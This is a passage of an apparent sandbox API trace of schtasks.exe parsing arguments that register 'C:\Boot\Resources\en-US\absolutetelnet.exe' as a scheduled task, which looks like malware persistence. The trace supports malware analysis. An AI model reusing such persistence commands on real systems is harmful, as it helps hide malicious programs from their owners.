_Size=0x7) returned 0 [0129.909] _memicmp (_Buf1=0x1157a5aa990, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.909] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.909] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.909] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.910] lstrlenW (lpString="'C") returned 2 [0129.910] lstrlenW (lpString="-/") returned 2 [0129.910] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.910] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.910] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.910] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.910] _memicmp (_Buf1=0x1157a5aab10, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.910] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.910] GetProcessHeap () returned 0x1157a5a0000 [0129.910] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aa890) returned 1 [0129.910] GetProcessHeap () returned 0x1157a5a0000 [0129.910] RtlReAllocateHeap (Heap=0x1157a5a0000, Flags=0xc, Ptr=0x1157a5aa890, Size=0x5a) returned 0x1157a5abcf0 [0129.910] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.910] lstrlenW (lpString=" \x09") returned 2 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0129.910] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.911] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0129.912] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0129.912] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.912] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.912] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0129.912] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.912] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0129.912] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.912] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.912] GetLastError () returned 0x0 [0129.912] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.912] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.912] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.912] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.912] lstrlenW (lpString="/rl") returned 3 [0129.912] lstrlenW (lpString="-/") returned 2 [0129.912] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.912] lstrlenW (lpString="create") returned 6 [0129.912] lstrlenW (lpString="create") returned 6 [0129.912] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.912] lstrlenW (lpString="rl") returned 2 [0129.912] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.912] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|create|") returned 8 [0129.912] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.912] lstrlenW (lpString="|create|") returned 8 [0129.912] lstrlenW (lpString="|rl|") returned 4 [0129.912] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0129.913] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.913] lstrlenW (lpString="?") returned 1 [0129.914] lstrlenW (lpString="?") returned 1 [0129.914] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.914] lstrlenW (lpString="rl") returned 2 [0129.916] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.916] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|?|") returned 3 [0129.916] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.916] lstrlenW (lpString="|?|") returned 3 [0129.916] lstrlenW (lpString="|rl|") returned 4 [0129.916] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.916] lstrlenW (lpString="s") returned 1 [0129.916] lstrlenW (lpString="s") returned 1 [0129.916] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.916] lstrlenW (lpString="rl") returned 2 [0129.916] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.916] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|s|") returned 3 [0129.916] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.916] lstrlenW (lpString="|s|") returned 3 [0129.916] lstrlenW (lpString="|rl|") returned 4 [0129.916] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.916] lstrlenW (lpString="u") returned 1 [0129.916] lstrlenW (lpString="u") returned 1 [0129.916] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.916] lstrlenW (lpString="rl") returned 2 [0129.917] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.917] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|u|") returned 3 [0129.917] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.917] lstrlenW (lpString="|u|") returned 3 [0129.917] lstrlenW (lpString="|rl|") returned 4 [0129.917] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.917] lstrlenW (lpString="p") returned 1 [0129.917] lstrlenW (lpString="p") returned 1 [0129.917] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.917] lstrlenW (lpString="rl") returned 2 [0129.917] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.917] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|p|") returned 3 [0129.917] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.917] lstrlenW (lpString="|p|") returned 3 [0129.917] lstrlenW (lpString="|rl|") returned 4 [0129.917] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.917] lstrlenW (lpString="ru") returned 2 [0129.917] lstrlenW (lpString="ru") returned 2 [0129.917] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.917] lstrlenW (lpString="rl") returned 2 [0129.917] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.917] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|ru|") returned 4 [0129.918] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.918] lstrlenW (lpString="|ru|") returned 4 [0129.918] lstrlenW (lpString="|rl|") returned 4 [0129.918] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0129.918] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.918] lstrlenW (lpString="rp") returned 2 [0129.918] lstrlenW (lpString="rp") returned 2 [0129.918] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.918] lstrlenW (lpString="rl") returned 2 [0129.918] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.918] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rp|") returned 4 [0129.918] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.918] lstrlenW (lpString="|rp|") returned 4 [0129.918] lstrlenW (lpString="|rl|") returned 4 [0129.918] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0129.918] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.918] lstrlenW (lpString="sc") returned 2 [0129.918] lstrlenW (lpString="sc") returned 2 [0129.918] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.918] lstrlenW (lpString="rl") returned 2 [0129.918] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.918] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.918] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.918] lstrlenW (lpString="|sc|") returned 4 [0129.919] lstrlenW (lpString="|rl|") returned 4 [0129.919] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0129.919] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.919] lstrlenW (lpString="mo") returned 2 [0129.919] lstrlenW (lpString="mo") returned 2 [0129.919] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.919] lstrlenW (lpString="rl") returned 2 [0129.919] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.919] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|mo|") returned 4 [0129.919] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.919] lstrlenW (lpString="|mo|") returned 4 [0129.919] lstrlenW (lpString="|rl|") returned 4 [0129.919] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0129.919] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.919] lstrlenW (lpString="d") returned 1 [0129.919] lstrlenW (lpString="d") returned 1 [0129.919] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.919] lstrlenW (lpString="rl") returned 2 [0129.919] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.919] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|d|") returned 3 [0129.919] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.919] lstrlenW (lpString="|d|") returned 3 [0129.919] lstrlenW (lpString="|rl|") returned 4 [0129.919] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.920] lstrlenW (lpString="m") returned 1 [0129.920] lstrlenW (lpString="m") returned 1 [0129.920] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.920] lstrlenW (lpString="rl") returned 2 [0129.920] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.920] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|m|") returned 3 [0129.920] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.920] lstrlenW (lpString="|m|") returned 3 [0129.920] lstrlenW (lpString="|rl|") returned 4 [0129.920] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.920] lstrlenW (lpString="i") returned 1 [0129.920] lstrlenW (lpString="i") returned 1 [0129.920] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.920] lstrlenW (lpString="rl") returned 2 [0129.920] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.920] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|i|") returned 3 [0129.920] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.920] lstrlenW (lpString="|i|") returned 3 [0129.920] lstrlenW (lpString="|rl|") returned 4 [0129.920] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.920] lstrlenW (lpString="tn") returned 2 [0129.921] lstrlenW (lpString="tn") returned 2 [0129.921] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.921] lstrlenW (lpString="rl") returned 2 [0129.921] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.921] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.921] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.921] lstrlenW (lpString="|tn|") returned 4 [0129.921] lstrlenW (lpString="|rl|") returned 4 [0129.921] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0129.921] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.921] lstrlenW (lpString="tr") returned 2 [0129.921] lstrlenW (lpString="tr") returned 2 [0129.921] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.921] lstrlenW (lpString="rl") returned 2 [0129.921] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.921] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.921] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.921] lstrlenW (lpString="|tr|") returned 4 [0129.921] lstrlenW (lpString="|rl|") returned 4 [0129.921] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0129.921] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.921] lstrlenW (lpString="st") returned 2 [0129.921] lstrlenW (lpString="st") returned 2 [0129.921] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.922] lstrlenW (lpString="rl") returned 2 [0129.922] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.922] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|st|") returned 4 [0129.922] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.922] lstrlenW (lpString="|st|") returned 4 [0129.922] lstrlenW (lpString="|rl|") returned 4 [0129.922] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0129.922] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.922] lstrlenW (lpString="sd") returned 2 [0129.922] lstrlenW (lpString="sd") returned 2 [0129.922] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.922] lstrlenW (lpString="rl") returned 2 [0129.922] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.922] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sd|") returned 4 [0129.922] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.922] lstrlenW (lpString="|sd|") returned 4 [0129.922] lstrlenW (lpString="|rl|") returned 4 [0129.922] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0129.922] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.922] lstrlenW (lpString="ed") returned 2 [0129.922] lstrlenW (lpString="ed") returned 2 [0129.922] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.923] lstrlenW (lpString="rl") returned 2 [0129.923] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.923] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|ed|") returned 4 [0129.923] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.923] lstrlenW (lpString="|ed|") returned 4 [0129.923] lstrlenW (lpString="|rl|") returned 4 [0129.923] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0129.923] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.923] lstrlenW (lpString="it") returned 2 [0129.923] lstrlenW (lpString="it") returned 2 [0129.923] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.923] lstrlenW (lpString="rl") returned 2 [0129.923] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.923] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|it|") returned 4 [0129.923] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.923] lstrlenW (lpString="|it|") returned 4 [0129.923] lstrlenW (lpString="|rl|") returned 4 [0129.923] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0129.923] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.923] lstrlenW (lpString="et") returned 2 [0129.923] lstrlenW (lpString="et") returned 2 [0129.923] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.924] lstrlenW (lpString="rl") returned 2 [0129.924] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.924] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|et|") returned 4 [0129.924] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.924] lstrlenW (lpString="|et|") returned 4 [0129.924] lstrlenW (lpString="|rl|") returned 4 [0129.924] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0129.924] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.924] lstrlenW (lpString="k") returned 1 [0129.924] lstrlenW (lpString="k") returned 1 [0129.924] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.924] lstrlenW (lpString="rl") returned 2 [0129.924] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.924] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|k|") returned 3 [0129.924] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.924] lstrlenW (lpString="|k|") returned 3 [0129.924] lstrlenW (lpString="|rl|") returned 4 [0129.924] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.924] lstrlenW (lpString="du") returned 2 [0129.924] lstrlenW (lpString="du") returned 2 [0129.924] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.924] lstrlenW (lpString="rl") returned 2 [0129.924] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.924] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|du|") returned 4 [0129.924] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.924] lstrlenW (lpString="|du|") returned 4 [0129.924] lstrlenW (lpString="|rl|") returned 4 [0129.925] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0129.925] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.925] lstrlenW (lpString="ri") returned 2 [0129.925] lstrlenW (lpString="ri") returned 2 [0129.925] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.925] lstrlenW (lpString="rl") returned 2 [0129.925] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.925] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|ri|") returned 4 [0129.925] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.925] lstrlenW (lpString="|ri|") returned 4 [0129.925] lstrlenW (lpString="|rl|") returned 4 [0129.925] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0129.925] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.925] lstrlenW (lpString="z") returned 1 [0129.925] lstrlenW (lpString="z") returned 1 [0129.925] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.925] lstrlenW (lpString="rl") returned 2 [0129.925] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.925] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|z|") returned 3 [0129.925] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.925] lstrlenW (lpString="|z|") returned 3 [0129.925] lstrlenW (lpString="|rl|") returned 4 [0129.925] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.925] lstrlenW (lpString="f") returned 1 [0129.925] lstrlenW (lpString="f") returned 1 [0129.925] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.925] lstrlenW (lpString="rl") returned 2 [0129.925] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.925] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.925] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.926] lstrlenW (lpString="|f|") returned 3 [0129.926] lstrlenW (lpString="|rl|") returned 4 [0129.926] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.926] lstrlenW (lpString="v1") returned 2 [0129.926] lstrlenW (lpString="v1") returned 2 [0129.926] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.926] lstrlenW (lpString="rl") returned 2 [0129.926] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.926] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|v1|") returned 4 [0129.926] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.926] lstrlenW (lpString="|v1|") returned 4 [0129.926] lstrlenW (lpString="|rl|") returned 4 [0129.926] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0129.926] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.926] lstrlenW (lpString="xml") returned 3 [0129.926] lstrlenW (lpString="xml") returned 3 [0129.926] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.926] lstrlenW (lpString="rl") returned 2 [0129.926] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.926] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827c5c8 | out: 